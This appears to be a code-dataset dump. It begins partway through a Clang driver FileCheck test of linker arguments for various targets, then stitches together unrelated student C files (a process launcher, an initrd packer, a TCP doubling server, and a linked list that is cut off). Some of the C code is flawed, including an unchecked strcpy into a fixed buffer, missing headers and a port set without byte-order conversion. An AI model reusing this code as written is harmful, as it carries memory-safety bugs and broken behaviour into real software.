// RUN: | FileCheck --check-prefix=CHECK-ANDROID-STATIC %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -static \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-STATIC %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -static \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-STATIC %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -static \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-STATIC %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i686-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -static \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-STATIC %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -static \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-STATIC %s
// CHECK-ANDROID-STATIC: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-ANDROID-STATIC: "{{.*}}{{/|\\\\}}crtbegin_static.o"
// CHECK-ANDROID-STATIC: "-L[[SYSROOT]]/usr/lib"
// CHECK-ANDROID-STATIC-NOT: "gcc_s"
// CHECK-ANDROID-STATIC: "-lgcc"
// CHECK-ANDROID-STATIC-NOT: "-ldl"
// CHECK-ANDROID-STATIC-NOT: "gcc_s"
// CHECK-ANDROID-STATIC: "{{.*}}{{/|\\\\}}crtend_android.o"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-androideabi \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -pie \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PIE %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -pie \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PIE %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=aarch64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -pie \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PIE %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -pie \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PIE %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -pie \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PIE %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -pie \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PIE %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i686-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -pie \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PIE %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -pie \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PIE %s
// CHECK-ANDROID-PIE: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-ANDROID-PIE: "{{.*}}{{/|\\\\}}crtbegin_dynamic.o"
// CHECK-ANDROID-PIE: "-L[[SYSROOT]]/usr/lib"
// CHECK-ANDROID-PIE-NOT: "gcc_s"
// CHECK-ANDROID-PIE: "-lgcc"
// CHECK-ANDROID-PIE-NOT: "gcc_s"
// CHECK-ANDROID-PIE: "{{.*}}{{/|\\\\}}crtend_android.o"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-androideabi \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-32 %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-32 %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-32 %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=aarch64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-64 %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-64 %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-64 %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i686-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-32 %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-linux-android \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-64 %s
// CHECK-ANDROID-32: "-dynamic-linker" "/system/bin/linker"
// CHECK-ANDROID-64: "-dynamic-linker" "/system/bin/linker64"
//
// Test that -pthread does not add -lpthread on Android.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-androideabi -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=aarch64-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm64-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i686-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-androideabi -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=aarch64-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=arm64-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i686-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-linux-android -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: -shared \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD %s
// CHECK-ANDROID-PTHREAD-NOT: -lpthread
//
// RUN: %clang -no-canonical-prefixes %t.o -### -o %t 2>&1 \
// RUN: --target=arm-linux-androideabi -pthread \
// RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \
// RUN: | FileCheck --check-prefix=CHECK-ANDROID-PTHREAD-LINK %s
// CHECK-ANDROID-PTHREAD-LINK-NOT: argument unused during compilation: '-pthread'
//
// Check linker invocation on Debian 6 MIPS 32/64-bit.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mipsel-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_6_mips_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-ML-MIPSEL %s
// CHECK-DEBIAN-ML-MIPSEL: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-ML-MIPSEL: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.4/../../../../lib{{/|\\\\}}crt1.o"
// CHECK-DEBIAN-ML-MIPSEL: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.4/../../../../lib{{/|\\\\}}crti.o"
// CHECK-DEBIAN-ML-MIPSEL: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.4{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-ML-MIPSEL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.4"
// CHECK-DEBIAN-ML-MIPSEL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.4/../../../../lib"
// CHECK-DEBIAN-ML-MIPSEL: "-L[[SYSROOT]]/lib/../lib"
// CHECK-DEBIAN-ML-MIPSEL: "-L[[SYSROOT]]/usr/lib/../lib"
// CHECK-DEBIAN-ML-MIPSEL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.4/../../.."
// CHECK-DEBIAN-ML-MIPSEL: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-ML-MIPSEL: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-gnu \
// RUN: --sysroot=%S/Inputs/debian_6_mips_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-ML-MIPS64EL %s
// CHECK-DEBIAN-ML-MIPS64EL: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-ML-MIPS64EL: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.4/../../../../lib64{{/|\\\\}}crt1.o"
// CHECK-DEBIAN-ML-MIPS64EL: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.4/../../../../lib64{{/|\\\\}}crti.o"
// CHECK-DEBIAN-ML-MIPS64EL: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.4/64{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-ML-MIPS64EL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.4/64"
// CHECK-DEBIAN-ML-MIPS64EL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.4/../../../../lib64"
// CHECK-DEBIAN-ML-MIPS64EL: "-L[[SYSROOT]]/lib/../lib64"
// CHECK-DEBIAN-ML-MIPS64EL: "-L[[SYSROOT]]/usr/lib/../lib64"
// CHECK-DEBIAN-ML-MIPS64EL: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.4/../../.."
// CHECK-DEBIAN-ML-MIPS64EL: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-ML-MIPS64EL: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-gnu -mabi=n32 \
// RUN: --sysroot=%S/Inputs/debian_6_mips_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-ML-MIPS64EL-N32 %s
// CHECK-DEBIAN-ML-MIPS64EL-N32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-ML-MIPS64EL-N32: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.4/../../../../lib32{{/|\\\\}}crt1.o"
// CHECK-DEBIAN-ML-MIPS64EL-N32: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.4/../../../../lib32{{/|\\\\}}crti.o"
// CHECK-DEBIAN-ML-MIPS64EL-N32: "{{.*}}/usr/lib/gcc/mipsel-linux-gnu/4.4/n32{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-ML-MIPS64EL-N32: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.4/n32"
// CHECK-DEBIAN-ML-MIPS64EL-N32: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.4/../../../../lib32"
// CHECK-DEBIAN-ML-MIPS64EL-N32: "-L[[SYSROOT]]/lib/../lib32"
// CHECK-DEBIAN-ML-MIPS64EL-N32: "-L[[SYSROOT]]/usr/lib/../lib32"
// CHECK-DEBIAN-ML-MIPS64EL-N32: "-L[[SYSROOT]]/usr/lib/gcc/mipsel-linux-gnu/4.4/../../.."
// CHECK-DEBIAN-ML-MIPS64EL-N32: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-ML-MIPS64EL-N32: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64-linux-gnuabi64 -mabi=n64 \
// RUN: --sysroot=%S/Inputs/debian_6_mips64_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-ML-MIPS64-GNUABI %s
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "{{.*}}/usr/lib/gcc/mips64-linux-gnuabi64/4.9/../../../mips64-linux-gnuabi64{{/|\\\\}}crt1.o"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "{{.*}}/usr/lib/gcc/mips64-linux-gnuabi64/4.9/../../../mips64-linux-gnuabi64{{/|\\\\}}crti.o"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "{{.*}}/usr/lib/gcc/mips64-linux-gnuabi64/4.9{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "-L[[SYSROOT]]/usr/lib/gcc/mips64-linux-gnuabi64/4.9"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "-L[[SYSROOT]]/usr/lib/gcc/mips64-linux-gnuabi64/4.9/../../../mips64-linux-gnuabi64"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "-L[[SYSROOT]]/lib/mips64-linux-gnuabi64"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "-L[[SYSROOT]]/usr/lib/mips64-linux-gnuabi64"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "-L[[SYSROOT]]/usr/lib/gcc/mips64-linux-gnuabi64/4.9"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "-L[[SYSROOT]]/usr/lib/gcc/mips64-linux-gnuabi64/4.9/../../.."
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "-L[[SYSROOT]]/usr/lib"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "{{.*}}/usr/lib/gcc/mips64-linux-gnuabi64/4.9{{/|\\\\}}crtend.o"
// CHECK-DEBIAN-ML-MIPS64-GNUABI: "{{.*}}/usr/lib/gcc/mips64-linux-gnuabi64/4.9/../../../mips64-linux-gnuabi64{{/|\\\\}}crtn.o"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=mips64el-linux-gnuabi64 -mabi=n64 \
// RUN: --sysroot=%S/Inputs/debian_6_mips64_tree \
// RUN: | FileCheck --check-prefix=CHECK-DEBIAN-ML-MIPS64EL-GNUABI %s
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "{{.*}}/usr/lib/gcc/mips64el-linux-gnuabi64/4.9/../../../mips64el-linux-gnuabi64{{/|\\\\}}crt1.o"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "{{.*}}/usr/lib/gcc/mips64el-linux-gnuabi64/4.9/../../../mips64el-linux-gnuabi64{{/|\\\\}}crti.o"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "{{.*}}/usr/lib/gcc/mips64el-linux-gnuabi64/4.9{{/|\\\\}}crtbegin.o"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "-L[[SYSROOT]]/usr/lib/gcc/mips64el-linux-gnuabi64/4.9"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "-L[[SYSROOT]]/usr/lib/gcc/mips64el-linux-gnuabi64/4.9/../../../mips64el-linux-gnuabi64"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "-L[[SYSROOT]]/lib/mips64el-linux-gnuabi64"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "-L[[SYSROOT]]/usr/lib/mips64el-linux-gnuabi64"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "-L[[SYSROOT]]/usr/lib/gcc/mips64el-linux-gnuabi64/4.9"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "-L[[SYSROOT]]/usr/lib/gcc/mips64el-linux-gnuabi64/4.9/../../.."
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "-L[[SYSROOT]]/lib"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "-L[[SYSROOT]]/usr/lib"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "{{.*}}/usr/lib/gcc/mips64el-linux-gnuabi64/4.9{{/|\\\\}}crtend.o"
// CHECK-DEBIAN-ML-MIPS64EL-GNUABI: "{{.*}}/usr/lib/gcc/mips64el-linux-gnuabi64/4.9/../../../mips64el-linux-gnuabi64{{/|\\\\}}crtn.o"
//
// Test linker invocation for Freescale SDK (OpenEmbedded).
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc-fsl-linux \
// RUN: --sysroot=%S/Inputs/freescale_ppc_tree \
// RUN: | FileCheck --check-prefix=CHECK-FSL-PPC %s
// CHECK-FSL-PPC: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-FSL-PPC: "-m" "elf32ppclinux"
// CHECK-FSL-PPC: "{{.*}}{{/|\\\\}}crt1.o"
// CHECK-FSL-PPC: "{{.*}}{{/|\\\\}}crtbegin.o"
// CHECK-FSL-PPC: "-L[[SYSROOT]]/usr/lib"
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=powerpc64-fsl-linux \
// RUN: --sysroot=%S/Inputs/freescale_ppc64_tree \
// RUN: | FileCheck --check-prefix=CHECK-FSL-PPC64 %s
// CHECK-FSL-PPC64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-FSL-PPC64: "-m" "elf64ppc"
// CHECK-FSL-PPC64: "{{.*}}{{/|\\\\}}crt1.o"
// CHECK-FSL-PPC64: "{{.*}}{{/|\\\\}}crtbegin.o"
// CHECK-FSL-PPC64: "-L[[SYSROOT]]/usr/lib64/powerpc64-fsl-linux/4.6.2/../.."
//
// Check that crtfastmath.o is linked with -ffast-math and with -Ofast.
// RUN: %clang --target=x86_64-unknown-linux -### %s \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-NOCRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -ffast-math \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-CRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -funsafe-math-optimizations\
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-CRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -Ofast\
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-CRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -Ofast -O3\
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-NOCRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -O3 -Ofast\
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-CRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -ffast-math -fno-fast-math \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-NOCRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -Ofast -fno-fast-math \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-CRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -Ofast -fno-unsafe-math-optimizations \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-CRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -fno-fast-math -Ofast \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-CRTFASTMATH %s
// RUN: %clang --target=x86_64-unknown-linux -### %s -fno-unsafe-math-optimizations -Ofast \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-CRTFASTMATH %s
// We don't have crtfastmath.o in the i386 tree, use it to check that file
// detection works.
// RUN: %clang --target=i386-unknown-linux -### %s -ffast-math \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-NOCRTFASTMATH %s
// CHECK-CRTFASTMATH: usr/lib/gcc/x86_64-unknown-linux/4.6.0{{/|\\\\}}crtfastmath.o
// CHECK-NOCRTFASTMATH-NOT: crtfastmath.o
// Check that we link in gcrt1.o when compiling with -pg
// RUN: %clang -pg --target=x86_64-unknown-linux -### %s \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>& 1 \
// RUN: | FileCheck --check-prefix=CHECK-PG %s
// CHECK-PG: gcrt1.o
// GCC forwards -u to the linker.
// RUN: %clang -u asdf --target=x86_64-unknown-linux -### %s \
// RUN: --sysroot=%S/Inputs/basic_linux_tree 2>& 1 \
// RUN: | FileCheck --check-prefix=CHECK-u %s
// CHECK-u: "-u" "asdf"
|
the_stack_data/76699278.c | /**
* Programa que executa concorrentemente uma lista de executáveis passados como argumento
* na linha de comando. Sem argumentos próprios. Esperar pela execução deles todos.
*
* @author (Pirata)
* @version (2018.06)
*/
#include <unistd.h>
#include <sys/wait.h>
#include <stdio.h>
int main(int argc, char** argv)
{
int i;
pid_t pid;
for (i = 1; i < argc; i++) {
pid = fork();
if (pid < 0) {
perror("Titanic was an accident, this fail was a disaster");
_exit(-1);
}
if (pid == 0) {
// Child
printf("Sending out child in mission codename: %s\n", argv[i]);
/* as we know what the arguments are, using execl.
* using execlp to refer that either PATH commands or in the correct path */
execlp(argv[i], argv[i], NULL);
_exit(-1); // in case of error
}
}
for (i = 1; i < argc; i++) {
wait(NULL);
}
return 0;
}
|
the_stack_data/28277.c | #include <stdio.h>
void fun_a1(void)
{
printf("Calling %s\n", __FUNCTION__);
}
|
the_stack_data/107080.c | #include <stdio.h>
struct initrd_header
{
unsigned char magic;
char name[64];
unsigned int offset;
unsigned int length;
};
int main(char argc, char **argv)
{
int nheaders = (argc-1)/2;
struct initrd_header headers[64];
printf("size of header: %d\n", sizeof(struct initrd_header));
unsigned int off = sizeof(struct initrd_header) * 64 + sizeof(int);
int i;
for(i = 0; i < nheaders; i++)
{
printf("writing file %s->%s at 0x%x\n", argv[i*2+1], argv[i*2+2], off);
strcpy(headers[i].name, argv[i*2+2]);
headers[i].offset = off;
FILE *stream = fopen(argv[i*2+1], "r");
if(stream == 0)
{
printf("Error: file not found: %s\n", argv[i*2+1]);
return 1;
}
fseek(stream, 0, SEEK_END);
headers[i].length = ftell(stream);
off += headers[i].length;
fclose(stream);
headers[i].magic = 0xBF;
}
FILE *wstream = fopen("./initrd.img", "w");
unsigned char *data = (unsigned char *)malloc(off);
fwrite(&nheaders, sizeof(int), 1, wstream);
fwrite(headers, sizeof(struct initrd_header), 64, wstream);
for(i = 0; i < nheaders; i++)
{
FILE *stream = fopen(argv[i*2+1], "r");
unsigned char *buf = (unsigned char *)malloc(headers[i].length);
fread(buf, 1, headers[i].length, stream);
fwrite(buf, 1, headers[i].length, wstream);
fclose(stream);
free(buf);
}
fclose(wstream);
free(data);
return 0;
}
|
the_stack_data/587424.c |
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<fcntl.h>
main()
{
int sockfd,fd,len,i,p;
char b[200];
struct sockaddr_in sa,ca;
len=sizeof(sa);
sockfd=socket(AF_INET,SOCK_STREAM,0);
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=INADDR_ANY;
printf("Give self port no.:");
scanf("%d",&sa.sin_port);
i=bind(sockfd,(struct sockaddr *)&sa,len);
printf("(%d %d)\n",sockfd,i);
listen(sockfd,5);
fd=accept(sockfd,(struct sockaddr *)&ca,&len);
printf("[%d]\n",fd);
recv(fd,&p,4,0);
printf("client sent %d\n",p);
p=2*p;
printf("Double the value:\n");
send(fd,&p,4,0);
sleep(5);
return 0;
}
|
the_stack_data/32949235.c | #include<stdio.h>
#include<stdlib.h>
struct node
{
struct node *llink;
int data;
struct node *rlink;
};
int l=0;
struct node *root=NULL;
struct node* pos(int p)
{
int c;
struct node *temp=root;
for(c=1;c<p;c++)
temp=temp->rlink;
return temp;
}
void ins(int p,int k)
{
struct node *temp=(struct node*)malloc(sizeof(struct node));
temp->data=k;
if(p<1 || p>l+1)
printf("INVALID POSITION:\n");
else
{
if(p==1)
{
temp->rlink=root;
temp->llink=NULL;
root=temp;
